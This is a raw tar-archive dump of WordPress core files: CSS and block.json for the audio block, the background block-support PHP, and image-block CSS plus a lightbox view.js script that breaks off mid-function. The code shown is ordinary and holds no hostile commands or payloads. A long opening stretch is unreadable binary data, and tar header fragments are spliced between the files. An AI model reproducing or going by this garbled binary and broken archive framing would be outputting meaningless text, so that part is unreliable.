~e�"�a���Yּ�L)�0.	�����!f@�0�\���z��5��E��@�G�c��q�<���-��� ��&&Y HS?V�UG�^��=u��.�Z�-d`[>��i��ӣ��v�v�
?����e�}S�T"T�h������+M�Įl�;�F����x��]�o8+-I��j���r��	��h�܏�SB�C���L����I+GO0%V�+9�S���

��y]�!�/݀���r��z9_=�>?���w'�ˌe�[P���z��>N��5y�k��x�ω&NU��nڊ
����$p��}��,p�Lq�+B>�::&����9{
a�p�gb�Mc���Cà	Wb@�c���_~�ڣ��a@�=�?լAI٤�n��9�ܫ~�ī�L�M�V��5�ԅ%m{�,�!��`�n��ˁ�ѵ!���7�u�rމK*�Q�G�z�x������D�hU˄�<���z���;a%��$���j�,��R���}s�7����={��r.-�O{�`�}����`�U����E�`)�q��e��sj{�:܉�5�e��i󓧜�R����yR:��uX3I�h1����C��m>#t5叡�3W��1c��mD�q
N!�-�bi�X�pծ\����q��T�j��
n�0]K�f3���}���\|­��d.b��2�'^�`�����C�B�l�U~�-�������rMf}�T�O�0��%������XC)�za"��7J%d�*4S�S�|f�;Z�e+�f.;��R�����(~��3Y
B��A� �%?�d�
h��-u�qzR����mt�n�Ͷ-�ͷ��Q��
,J���&�]:w?��q��W��4���	Y&;6�@ׯQ�a�qZe2���s�?W����t�wN�j�H�F�~����:�zd�X@1��t@J�,@��v�l"�\Cz�y�@}�Ko�/��c��nD��ƴ������uAZC)hRMy``"R7�$-!���oD���
waC���9�����`n��k��P��=����>���^~���bؔ�ϲt�x��<�eY?%��o�|K���&�CF���j�U��F���z~�
��mv��_Z��S��yT�����N�>�,�����|��jC��a%t��}o+�"8��,b��&w�N��'w���d�e�䁊��97��lj��I��<��GC{��9���3a�ܞ��+�TΥb�<��-�>�rKH�Eru?w���P7��P4�B��r�yJ�:�g��\̉����h9�s9�Ν~0e�&\�wV�쨬�Dy
���_�A���[Ȩ�Wz��ޠ���<=�\�ܯ�ȵXrP��4����!��4{�@�xiQ��t:���Qc"���B�`���ߍ���<�������Eb���8!���yU@\��{%���!���uZ^ר�f�Z�„	j;�!,R�	a�k����Y���{���e�4��G_��l�<��ܟ��	=��f�)�j��!Dž�6KF2օȅJ��]�ٴ1�#��5|<�S"��`���\�krs,��X:۔+�=��܇�667:���^�ǘ"� o�ҟ��e:<���i��M��.��i�S�jM9g��]� ��s|�&�FP�N�F�F��Hُ�W�&�*Pn���A&C/�g�@�ä?N�����;�T����̫R����ֲ�l뻊���hNύ�}c��s�X�L�%<��zO�#7)�E}|�!x�{��[#<Խ*P�
�6�N�4��6b|� �|�#"
`/�������8��<�7��O�ok�-Vo��)KxS����N1�Th�2�"��	���8��>��;����|}?���
���5��j�A�ߵU��:���5.xг����)�^7����<Ǡi�#� 0㜠�
m�ٟ>��a���l��r?֩[K�U�{E�ǽ��i�2I�X�_�=E�-����w)Fm)�����L˧4\� ϯ~@j1�_Z�z|�����~�e���6�Qp��m��c2u�'Ŗzz�;ъ��ɘq*���C Vz���y���ʳ֣�".���x�7 aZ;���m?��͆`�>���[J�$���h��IJݗƗ*�Š��EoҮ��@W��l��i�
_�dq��z��=�c22��Ǽ�I��xC��	��2�~�3!&yS߮"8�#S���<H�=��S��L�2�=�	N�@�E	��X�����cXB�x�!�o�������X]�J�X'����\�o4��L3�v)v�II��$��XE+ʋl��B�	܆��@�گ�v*��:�~e	̖�	�9JAv	ȅK�I���a����݆0cak�=,,f1s-�ʦt5w���O"��c��>����$l��i��B�mk��\w�_"�O�/i\�������|�Dl�]~�#�L��R����G�%y\�Sd��)��|���3��?V�`����-)W
q��I�Me��7l����}p�ܨ�Ļy1������K�N^{B�7�FaIm�O,,�L����6�\\ݻB�K10`�_��A|=e��n1)S%[;�#�ýL��`t�"���G��0Z��}�8ۊrJ\����F��L�]B�?���6
l'\��*��
fe�3���������NGTPv6�D��}���3�K��
�RlX�^�L�Ĭ�����>����:�d>״���u�=P��N;,��?I�M��>��2Iϡ�+Y�?�΃"e�4�=��1�I���t}���9��=�f����s<.��ܦ׫�Q&��&���N&{�$x7}���8�ޙQ�� ���˛y^�۳^�EWU�l)wKSʬ�jv\���H��sc�!��r�,�Q��ȗsഷ����ƾ���(,���f�2Mh݁��a���11�����	+�ϕnȚnמ��g���
V�S
GW~���.�&���)��SS``��Qw��-F���/l1Y�����.�8��c˚����N)�[�F�G;r��l��)T�1�D��^q���AO�E��D��_	�S�X�M�P#�l|N���F�9��g�����x�v0/���A��.����~�%B]e�׌�`6V-߃�,1��#z9G�<U�
�Grh{���tP�|[\�4�"����CЗ2�^���>�؊G|�??�ep�&x������7誑j.�C��;�vҸ��k����c��l������<1lm
�3<=E=��/�,��-��l?ZU0A�Tщ�t�	����#���Fr�zOۦ
��z�{]`�����p��ّ�l<N�v-�;�i���;���ȭc۵���n�de聀&7w�ϩ�����(�@d-"븂z���U�O1�j�Ѭ�s�H�3�<�5�ٰ��=�c���p�<έV:�E��fVbW<��De����L̒�M�������#����➭1d^���{w����]��j�����6�2A��F�J��>�D�����/���MIAь���i�ޞ^�!�>�8�9��\�ۈ]��}��:׿��r�n�Ϫ��O�>��a��$m�Kþ��
M���=IU�(K�cRr[F��<���@Pj=(j͵.;\�=?��ڶ��h�$���e_q{��nLW�J��B�YƱ`��Vb�u9W��l���'"�Ս�3oy��Ci�@�����*X����Sѥ��IMR���'̈"޴]�ۀc�#�8� ��(���r���h^_9�6�q���T�QT�$��C�A�0�p���:�w
8��8�c�Ŏ0�X/�h܊���lP���Jc��&�6�L��&ٸ�]��!�䧄���r2�P��f���؆2%H҂� m�I�6�Me��P�9��u����X�b�k5�,�$S(�>���VUL�������(�-�|fɷ,��u}��}u�sb�h��o9
�w-20x?Kjf*��=E��c]�.�����[<��=�^�9<���o�����j�^�8��Z���i���}�3�h����E��9u}�^�r����`��>�K�:�4G�o|�k��L���W�'o8�O�`xZd����[7��U��4�ؐ��/z�YO_�i�(R�����W���NZ�^\Y�Ӳ4�ܙ*pt���;+w͆Y��n�d�o�S�[��4(�]�)f��{�$K�O?�y�wW�(�e�6�U��.xN�-��9X5��s�ܫo�-�������	���YZ��z�OT�p��X����I���7��j�N
�76�Σ��Jw��:�l'h�U3bqk�<)���HF ��,.�D��x��;�����i�ש1X�ȱ��٘
B���w\����4�;N���j���/mKi����g\6S�q}5�>�G�[�d�>C!5����dR���N �l�����1�b�4G����l�S��s���Mj���3$2xH��C�z��+c7b��v��]sP���\HӾ��x�{^=K�7�ٕ�uz�Ϟ�q�e����,\%�?m<R�N��Z��Ͽ�"2�TC���鸇R^����%�хL���؅j�T���]���y�?���7�zr��lNO�P�V��90�����)��YH����ѷ��F�z���  ���{sk���L��9��<�E�$�p]��)�c���*��J[�qq�)ǡ�
�tː."eޱ~�O\�����.��rx������k�A쫔�>�[Ew7�q�w+#�/�2�5O�^�R�'���G�@ycݵZ�k�>�7'~?�~��>�)'Z$����cKɳ�+d�Uhn�<�[=��;�[3WӬ:{���m2BbIwPJ{̮
��3�r�����qD�N�25"ݶ���/���߃�!8�4OUii:�%2�y-윴&����^O����tL�,�x��A=�K�`� �a~mk�sr��z��1K�Sp~�
5;�(=�֠�s/d{��}�B���k�qs�I�<#�I�4'0k�p��5�$�W���o���_�]�Xw׸��W���z��?���޽=�4ί�HCu�$�Ԕ���pq+,cK�H��&_�#��sR�{�-*���т.�xh�5�N}���IJ���갗��]����r���#��6��PC{�v�Me=�cS�yfO�v��O��l"��Ai�q�Cnv���c:Ɠ�5IT:�̱D��r�L$��'���ğL�Մ��;-�H�g��DUϞp��:	�o/�i嘅�
z�Ÿ��I�.�29�ExO�k���SNb��.8���q�o!mWp'���@uVJs-�Wa�|����t�VװnH��,�O����U# �|�c!��N�>��VA��Zi���)���Ez��
�ex*[I	���
y<��]�c2�k׹� QD&�v�M�(rA�P!]�*;?߯�Ʀ	Z��˄�;�{�溆�c	�*"�����q��)'�#: ��IV�m�^ǣ��۾�����8OzRUUW��(��^��J�w�nq��"Qj5��7��Ј�*BbV�Hq�V�*+��Q����O��yJja7�陪{M3kW�`�ґ��"��w�w#�ֱ�bkP�s�{���3)i}�#��E�A9*�����W��b�
\�o�t*�8��%�Y�W}�ƞ����1rW��.6��Ϥ������UX�xjY�梢�|�Q��s� ����f(�Ɣ(����Z��9"9��K����I�8[��ċ��X����؊,�z���<L|�%j-1����8>�����'�0�L�:V ���/ύ���BR_x�������΁��
�s����9��2B�ZE�[B,p���eh9���%�����Mu��az3�_9���-	�m?-0~};r��
Sy��h����-%V�t5�cd�2#ך
C�Ͱi� i۽�z}��n<v��AL/��&�:6�u��ȸ��ݢ�6��,��V�r���p؞��������t*b,fƠa
�6��H�$U�|�J}j<�v�v�ܦn��t�3�:͟bHP�o�8��M �Xh�G���w��7{�!�1�/�DTcEf�e�cf��f�c�6�������"�D��f������Ԅ�����"�D��f
�u�XwՆ��w�A��~w#e�<��uh�y�"�9$�z(��,��0�>5�~9�=���GVU�DnYv�|�L�����9>�E�Kb_2D&�LE5Vf�^�?��A����)X�����I�B$��kR
��q�#	�yu��OF`T�kYI�K힤[��'AGEMQ�fu ӊZ��5�5��l��I���2-���D�u�^�(�ʖ�/2#%w�M�oT�cmo�hƗ�h��
`Qp���y�hs(M�2`Ob��o-^3.�lOu(��bVY�s�pH�ܴ^C��׶���ﻎ!��Ư�<�Q�&�@y����n���#�$"�b���ֳ��z	�6Դ�ݶ��T��C�{��V��I��k\��J�N�.G���F�j���79#�\B�I}��T��7��?���T�W?�B�-�ꮾ@@U5O�}��S�s2�!��߽Њ�+�6ZL{�'����<~�I,sd8c�H�b�4D(�,�}vZ
�'��N4y|T���_c"�{D��m�PGĐ��z|'��e��/Z��Eu��p@A.4Q�|�11%Y�wd]h	��h�h9F��>���Ý,.Q�-Yl�^u�B�_�j3��
Ť4�u7��\���0I_�b#K��pt��#����˨,O��ە�ϋ�Q}ʰǣրGB•�oa�Ü��"�Z�O��h
�ڂ+���1<0�ċ^��R�@�D*��e���v��m�c	W�w�E�o��m��� �Q>91ؽ��G��U8���#r�i{7@x�}w�A�Z�Џ�����ƿ�ӡi�dhPo4)&��~�*^-�y�2��O\�π崶�=� p�L6?׶�BPȿ��`q��t�%�u���1~g�

����I%B�Y���mF�*�l�4�?�0VG+
^�k�?�e6ݕ��&oIX�"p��|�"�TP]����Ժ�|�WS��3�wĠ�-+VO�+Y�{�b��dN�f���类k3��3�J�f58g	g�Pl;�90P�á&�1\C��4Z�0ORC��z�v��d66?�L^�dM_�:he��B&��$*xU e�e�`Y؛{R�¥,��&��%�2���繱D�T��E~k���ɷ�=�8+Znsx>[�Rޡ+�#ž7~�ö Z�8���c�x<���R��ӂ~?�!�����6�\�Q0'e�*��?O�B�F̠�
���kQl)P�`�"�'�Ys�/��h�C%��~�W��c@�������	ġH��?�e_DZ�N�8�J�P���J��%-ǜ|�i���]~���ǣ��p����N"�[��uI��P
I���(�?�԰�"5�%��M{�'$.̆o�H6�+!�JnI�ݰ9�gR�g̦��4��j���[��0
3�Rɲ�-*w�q0;J�9��v��4�k�T�u^��¡J�����#%P��'wњNJ��
���^|*C.G�_���a�p(���b	��\Pv4�ST�:�W��R��Q&�)`�f��YQNA~|G(�!��D�_'�
e��rׂ�X$y]&	~c"E�m�Q��������Ď%�8vU�B�E=��Y��o�^�t8�|C;�'�6„e�+���\�g}I��� 
�jց�B�"ݟ�`E`�iXR����h�S���0�j
�=>����t��;�ݫ���Fڹ*�Q��)�ĭ�[�^h-����v�:}K�+��GP�;�^:�վ��*��CU3l\w9�|��t-��u֦x�r�fh�F����G�ӟg���$$�������ٹ"��*]�:��$�����I?�� �霎�������o����#�R0��n14338/audio.tar000064400000036000151024420100007023 0ustar00editor-rtl.min.css000064400000000327151024246410010126 0ustar00.wp-block-audio{margin-left:0;margin-right:0;position:relative}.wp-block-audio.is-transient audio{opacity:.3}.wp-block-audio .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}theme-rtl.css000064400000000310151024246410007150 0ustar00.wp-block-audio :where(figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-audio :where(figcaption){
  color:#ffffffa6;
}

.wp-block-audio{
  margin:0 0 1em;
}theme-rtl.min.css000064400000000260151024246410007736 0ustar00.wp-block-audio :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-audio :where(figcaption){color:#ffffffa6}.wp-block-audio{margin:0 0 1em}theme.min.css000064400000000260151024246410007137 0ustar00.wp-block-audio :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-audio :where(figcaption){color:#ffffffa6}.wp-block-audio{margin:0 0 1em}theme.css000064400000000310151024246410006351 0ustar00.wp-block-audio :where(figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-audio :where(figcaption){
  color:#ffffffa6;
}

.wp-block-audio{
  margin:0 0 1em;
}style-rtl.min.css000064400000000234151024246410007775 0ustar00.wp-block-audio{box-sizing:border-box}.wp-block-audio :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-audio audio{min-width:300px;width:100%}editor-rtl.css000064400000000372151024246410007344 0ustar00.wp-block-audio{
  margin-left:0;
  margin-right:0;
  position:relative;
}
.wp-block-audio.is-transient audio{
  opacity:.3;
}
.wp-block-audio .components-spinner{
  margin-right:-9px;
  margin-top:-9px;
  position:absolute;
  right:50%;
  top:50%;
}style.min.css000064400000000234151024246410007176 0ustar00.wp-block-audio{box-sizing:border-box}.wp-block-audio :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-audio audio{min-width:300px;width:100%}editor.css000064400000000370151024246410006543 0ustar00.wp-block-audio{
  margin-left:0;
  margin-right:0;
  position:relative;
}
.wp-block-audio.is-transient audio{
  opacity:.3;
}
.wp-block-audio .components-spinner{
  left:50%;
  margin-left:-9px;
  margin-top:-9px;
  position:absolute;
  top:50%;
}block.json000064400000002457151024246410006540 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/audio",
	"title": "Audio",
	"category": "media",
	"description": "Embed a simple audio player.",
	"keywords": [ "music", "sound", "podcast", "recording" ],
	"textdomain": "default",
	"attributes": {
		"blob": {
			"type": "string",
			"role": "local"
		},
		"src": {
			"type": "string",
			"source": "attribute",
			"selector": "audio",
			"attribute": "src",
			"role": "content"
		},
		"caption": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "figcaption",
			"role": "content"
		},
		"id": {
			"type": "number",
			"role": "content"
		},
		"autoplay": {
			"type": "boolean",
			"source": "attribute",
			"selector": "audio",
			"attribute": "autoplay"
		},
		"loop": {
			"type": "boolean",
			"source": "attribute",
			"selector": "audio",
			"attribute": "loop"
		},
		"preload": {
			"type": "string",
			"source": "attribute",
			"selector": "audio",
			"attribute": "preload"
		}
	},
	"supports": {
		"anchor": true,
		"align": true,
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-audio-editor",
	"style": "wp-block-audio"
}
style-rtl.css000064400000000263151024246410007215 0ustar00.wp-block-audio{
  box-sizing:border-box;
}
.wp-block-audio :where(figcaption){
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-audio audio{
  min-width:300px;
  width:100%;
}style.css000064400000000263151024246410006416 0ustar00.wp-block-audio{
  box-sizing:border-box;
}
.wp-block-audio :where(figcaption){
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-audio audio{
  min-width:300px;
  width:100%;
}editor.min.css000064400000000325151024246410007325 0ustar00.wp-block-audio{margin-left:0;margin-right:0;position:relative}.wp-block-audio.is-transient audio{opacity:.3}.wp-block-audio .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}14338/background.php.tar000064400000014000151024420100010623 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php000064400000010023151024314030027160 0ustar00<?php
/**
 * Background block support flag.
 *
 * @package WordPress
 * @since 6.4.0
 */

/**
 * Registers the style block attribute for block types that support it.
 *
 * @since 6.4.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_background_support( $block_type ) {
	// Setup attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	// Check for existing style attribute definition e.g. from block.json.
	if ( array_key_exists( 'style', $block_type->attributes ) ) {
		return;
	}

	$has_background_support = block_has_support( $block_type, array( 'background' ), false );

	if ( $has_background_support ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}
}

/**
 * Renders the background styles to the block wrapper.
 * This block support uses the `render_block` hook to ensure that
 * it is also applied to non-server-rendered blocks.
 *
 * @since 6.4.0
 * @since 6.5.0 Added support for `backgroundPosition` and `backgroundRepeat` output.
 * @since 6.6.0 Removed requirement for `backgroundImage.source`. A file/url is the default.
 * @since 6.7.0 Added support for `backgroundAttachment` output.
 *
 * @access private
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_render_background_support( $block_content, $block ) {
	$block_type                   = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	$block_attributes             = ( isset( $block['attrs'] ) && is_array( $block['attrs'] ) ) ? $block['attrs'] : array();
	$has_background_image_support = block_has_support( $block_type, array( 'background', 'backgroundImage' ), false );

	if (
		! $has_background_image_support ||
		wp_should_skip_block_supports_serialization( $block_type, 'background', 'backgroundImage' ) ||
		! isset( $block_attributes['style']['background'] )
	) {
		return $block_content;
	}

	$background_styles                         = array();
	$background_styles['backgroundImage']      = $block_attributes['style']['background']['backgroundImage'] ?? null;
	$background_styles['backgroundSize']       = $block_attributes['style']['background']['backgroundSize'] ?? null;
	$background_styles['backgroundPosition']   = $block_attributes['style']['background']['backgroundPosition'] ?? null;
	$background_styles['backgroundRepeat']     = $block_attributes['style']['background']['backgroundRepeat'] ?? null;
	$background_styles['backgroundAttachment'] = $block_attributes['style']['background']['backgroundAttachment'] ?? null;

	if ( ! empty( $background_styles['backgroundImage'] ) ) {
		$background_styles['backgroundSize'] = $background_styles['backgroundSize'] ?? 'cover';

		// If the background size is set to `contain` and no position is set, set the position to `center`.
		if ( 'contain' === $background_styles['backgroundSize'] && ! $background_styles['backgroundPosition'] ) {
			$background_styles['backgroundPosition'] = '50% 50%';
		}
	}

	$styles = wp_style_engine_get_styles( array( 'background' => $background_styles ) );

	if ( ! empty( $styles['css'] ) ) {
		// Inject background styles to the first element, presuming it's the wrapper, if it exists.
		$tags = new WP_HTML_Tag_Processor( $block_content );

		if ( $tags->next_tag() ) {
			$existing_style = $tags->get_attribute( 'style' );
			$updated_style  = '';

			if ( ! empty( $existing_style ) ) {
				$updated_style = $existing_style;
				if ( ! str_ends_with( $existing_style, ';' ) ) {
					$updated_style .= ';';
				}
			}

			$updated_style .= $styles['css'];
			$tags->set_attribute( 'style', $updated_style );
			$tags->add_class( 'has-background' );
		}

		return $tags->get_updated_html();
	}

	return $block_content;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'background',
	array(
		'register_attribute' => 'wp_register_background_support',
	)
);

add_filter( 'render_block', 'wp_render_background_support', 10, 2 );
14338/image.tar000064400000417000151024420100007007 0ustar00editor-rtl.min.css000064400000004660151024246360010136 0ustar00.wp-block-image.wp-block-image .block-editor-media-placeholder.is-small{min-height:60px}figure.wp-block-image:not(.wp-block){margin:0}.wp-block-image{position:relative}.wp-block-image .is-applying img,.wp-block-image.is-transient img{opacity:.3}.wp-block-image figcaption img{display:inline}.wp-block-image .components-spinner{margin:0;position:absolute;right:50%;top:50%;transform:translate(50%,-50%)}.wp-block-image__placeholder{aspect-ratio:4/3}.wp-block-image__placeholder.has-illustration:before{background:#fff;opacity:.8}.wp-block-image__placeholder .components-placeholder__illustration{opacity:.1}.wp-block-image .components-resizable-box__container{display:table}.wp-block-image .components-resizable-box__container img{display:block;height:inherit;width:inherit}.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{left:0;margin:-1px 0;position:absolute;right:0}@media (min-width:600px){.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{margin:-1px}}[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{height:auto;width:100%}.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{display:table}.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{caption-side:bottom;display:table-caption}.wp-block[data-align=left]>.wp-block-image{margin:.5em 0 .5em 1em}.wp-block[data-align=right]>.wp-block-image{margin:.5em 1em .5em 0}.wp-block[data-align=center]>.wp-block-image{margin-left:auto;margin-right:auto;text-align:center}.wp-block[data-align]:has(>.wp-block-image){position:relative}.wp-block-image__crop-area{max-width:100%;overflow:hidden;position:relative;width:100%}.wp-block-image__crop-area .reactEasyCrop_Container{pointer-events:auto}.wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{border:none;border-radius:0}.wp-block-image__crop-icon{align-items:center;display:flex;justify-content:center;min-width:48px;padding:0 8px}.wp-block-image__crop-icon svg{fill:currentColor}.wp-block-image__zoom .components-popover__content{min-width:260px;overflow:visible!important}.wp-block-image__toolbar_content_textarea__container{padding:8px}.wp-block-image__toolbar_content_textarea{width:250px}theme-rtl.css000064400000000324151024246360007161 0ustar00:root :where(.wp-block-image figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme :root :where(.wp-block-image figcaption){
  color:#ffffffa6;
}

.wp-block-image{
  margin:0 0 1em;
}theme-rtl.min.css000064400000000274151024246360007747 0ustar00:root :where(.wp-block-image figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme :root :where(.wp-block-image figcaption){color:#ffffffa6}.wp-block-image{margin:0 0 1em}view.js000064400000043426151024246360006070 0ustar00import * as __WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__ from "@wordpress/interactivity";
/******/ // The require scope
/******/ var __webpack_require__ = {};
/******/ 
/************************************************************************/
/******/ /* webpack/runtime/define property getters */
/******/ (() => {
/******/ 	// define getter functions for harmony exports
/******/ 	__webpack_require__.d = (exports, definition) => {
/******/ 		for(var key in definition) {
/******/ 			if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 				Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 			}
/******/ 		}
/******/ 	};
/******/ })();
/******/ 
/******/ /* webpack/runtime/hasOwnProperty shorthand */
/******/ (() => {
/******/ 	__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ })();
/******/ 
/************************************************************************/
var __webpack_exports__ = {};

;// external "@wordpress/interactivity"
var x = (y) => {
	var x = {}; __webpack_require__.d(x, y); return x
} 
var y = (x) => (() => (x))
const interactivity_namespaceObject = x({ ["getContext"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getContext), ["getElement"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getElement), ["store"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.store), ["withSyncEvent"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.withSyncEvent) });
;// ./node_modules/@wordpress/block-library/build-module/image/view.js
/**
 * WordPress dependencies
 */


/**
 * Tracks whether user is touching screen; used to differentiate behavior for
 * touch and mouse input.
 *
 * @type {boolean}
 */
let isTouching = false;

/**
 * Tracks the last time the screen was touched; used to differentiate behavior
 * for touch and mouse input.
 *
 * @type {number}
 */
let lastTouchTime = 0;
const {
  state,
  actions,
  callbacks
} = (0,interactivity_namespaceObject.store)('core/image', {
  state: {
    currentImageId: null,
    get currentImage() {
      return state.metadata[state.currentImageId];
    },
    get overlayOpened() {
      return state.currentImageId !== null;
    },
    get roleAttribute() {
      return state.overlayOpened ? 'dialog' : null;
    },
    get ariaModal() {
      return state.overlayOpened ? 'true' : null;
    },
    get enlargedSrc() {
      return state.currentImage.uploadedSrc || 'data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=';
    },
    get figureStyles() {
      return state.overlayOpened && `${state.currentImage.figureStyles?.replace(/margin[^;]*;?/g, '')};`;
    },
    get imgStyles() {
      return state.overlayOpened && `${state.currentImage.imgStyles?.replace(/;$/, '')}; object-fit:cover;`;
    },
    get imageButtonRight() {
      const {
        imageId
      } = (0,interactivity_namespaceObject.getContext)();
      return state.metadata[imageId].imageButtonRight;
    },
    get imageButtonTop() {
      const {
        imageId
      } = (0,interactivity_namespaceObject.getContext)();
      return state.metadata[imageId].imageButtonTop;
    },
    get isContentHidden() {
      const ctx = (0,interactivity_namespaceObject.getContext)();
      return state.overlayEnabled && state.currentImageId === ctx.imageId;
    },
    get isContentVisible() {
      const ctx = (0,interactivity_namespaceObject.getContext)();
      return !state.overlayEnabled && state.currentImageId === ctx.imageId;
    }
  },
  actions: {
    showLightbox() {
      const {
        imageId
      } = (0,interactivity_namespaceObject.getContext)();

      // Bails out if the image has not loaded yet.
      if (!state.metadata[imageId].imageRef?.complete) {
        return;
      }

      // Stores the positions of the scroll to fix it until the overlay is
      // closed.
      state.scrollTopReset = document.documentElement.scrollTop;
      state.scrollLeftReset = document.documentElement.scrollLeft;

      // Sets the current expanded image in the state and enables the overlay.
      state.overlayEnabled = true;
      state.currentImageId = imageId;

      // Computes the styles of the overlay for the animation.
      callbacks.setOverlayStyles();
    },
    hideLightbox() {
      if (state.overlayEnabled) {
        // Starts the overlay closing animation. The showClosingAnimation
        // class is used to avoid showing it on page load.
        state.showClosingAnimation = true;
        state.overlayEnabled = false;

        // Waits until the close animation has completed before allowing a
        // user to scroll again. The duration of this animation is defined in
        // the `styles.scss` file, but in any case we should wait a few
        // milliseconds longer than the duration, otherwise a user may scroll
        // too soon and cause the animation to look sloppy.
        setTimeout(function () {
          // Delays before changing the focus. Otherwise the focus ring will
          // appear on Firefox before the image has finished animating, which
          // looks broken.
          state.currentImage.buttonRef.focus({
            preventScroll: true
          });

          // Resets the current image id to mark the overlay as closed.
          state.currentImageId = null;
        }, 450);
      }
    },
    handleKeydown: (0,interactivity_namespaceObject.withSyncEvent)(event => {
      if (state.overlayEnabled) {
        // Focuses the close button when the user presses the tab key.
        if (event.key === 'Tab') {
          event.preventDefault();
          const {
            ref
          } = (0,interactivity_namespaceObject.getElement)();
          ref.querySelector('button').focus();
        }
        // Closes the lightbox when the user presses the escape key.
        if (event.key === 'Escape') {
          actions.hideLightbox();
        }
      }
    }),
    handleTouchMove: (0,interactivity_namespaceObject.withSyncEvent)(event => {
      // On mobile devices, prevents triggering the scroll event because
      // otherwise the page jumps around when it resets the scroll position.
      // This also means that closing the lightbox requires that a user
      // perform a simple tap. This may be changed in the future if there is a
      // better alternative to override or reset the scroll position during
      // swipe actions.
      if (state.overlayEnabled) {
        event.preventDefault();
      }
    }),
    handleTouchStart() {
      isTouching = true;
    },
    handleTouchEnd() {
      // Waits a few milliseconds before resetting to ensure that pinch to
      // zoom works consistently on mobile devices when the lightbox is open.
      lastTouchTime = Date.now();
      isTouching = false;
    },
    handleScroll() {
      // Prevents scrolling behaviors that trigger content shift while the
      // lightbox is open. It would be better to accomplish through CSS alone,
      // but using overflow: hidden is currently the only way to do so and
      // that causes a layout to shift and prevents the zoom animation from
      // working in some cases because it's not possible to account for the
      // layout shift when doing the animation calculations. Instead, it uses
      // JavaScript to prevent and reset the scrolling behavior.
      if (state.overlayOpened) {
        // Avoids overriding the scroll behavior on mobile devices because
        // doing so breaks the pinch to zoom functionality, and users should
        // be able to zoom in further on the high-res image.
        if (!isTouching && Date.now() - lastTouchTime > 450) {
          // It doesn't rely on `event.preventDefault()` to prevent scrolling
          // because the scroll event can't be canceled, so it resets the
          // position instead.
          window.scrollTo(state.scrollLeftReset, state.scrollTopReset);
        }
      }
    }
  },
  callbacks: {
    setOverlayStyles() {
      if (!state.overlayEnabled) {
        return;
      }
      let {
        naturalWidth,
        naturalHeight,
        offsetWidth: originalWidth,
        offsetHeight: originalHeight
      } = state.currentImage.imageRef;
      let {
        x: screenPosX,
        y: screenPosY
      } = state.currentImage.imageRef.getBoundingClientRect();

      // Natural ratio of the image clicked to open the lightbox.
      const naturalRatio = naturalWidth / naturalHeight;
      // Original ratio of the image clicked to open the lightbox.
      let originalRatio = originalWidth / originalHeight;

      // If it has object-fit: contain, recalculates the original sizes
      // and the screen position without the blank spaces.
      if (state.currentImage.scaleAttr === 'contain') {
        if (naturalRatio > originalRatio) {
          const heightWithoutSpace = originalWidth / naturalRatio;
          // Recalculates screen position without the top space.
          screenPosY += (originalHeight - heightWithoutSpace) / 2;
          originalHeight = heightWithoutSpace;
        } else {
          const widthWithoutSpace = originalHeight * naturalRatio;
          // Recalculates screen position without the left space.
          screenPosX += (originalWidth - widthWithoutSpace) / 2;
          originalWidth = widthWithoutSpace;
        }
      }
      originalRatio = originalWidth / originalHeight;

      // Typically, it uses the image's full-sized dimensions. If those
      // dimensions have not been set (i.e. an external image with only one
      // size), the image's dimensions in the lightbox are the same
      // as those of the image in the content.
      let imgMaxWidth = parseFloat(state.currentImage.targetWidth !== 'none' ? state.currentImage.targetWidth : naturalWidth);
      let imgMaxHeight = parseFloat(state.currentImage.targetHeight !== 'none' ? state.currentImage.targetHeight : naturalHeight);

      // Ratio of the biggest image stored in the database.
      let imgRatio = imgMaxWidth / imgMaxHeight;
      let containerMaxWidth = imgMaxWidth;
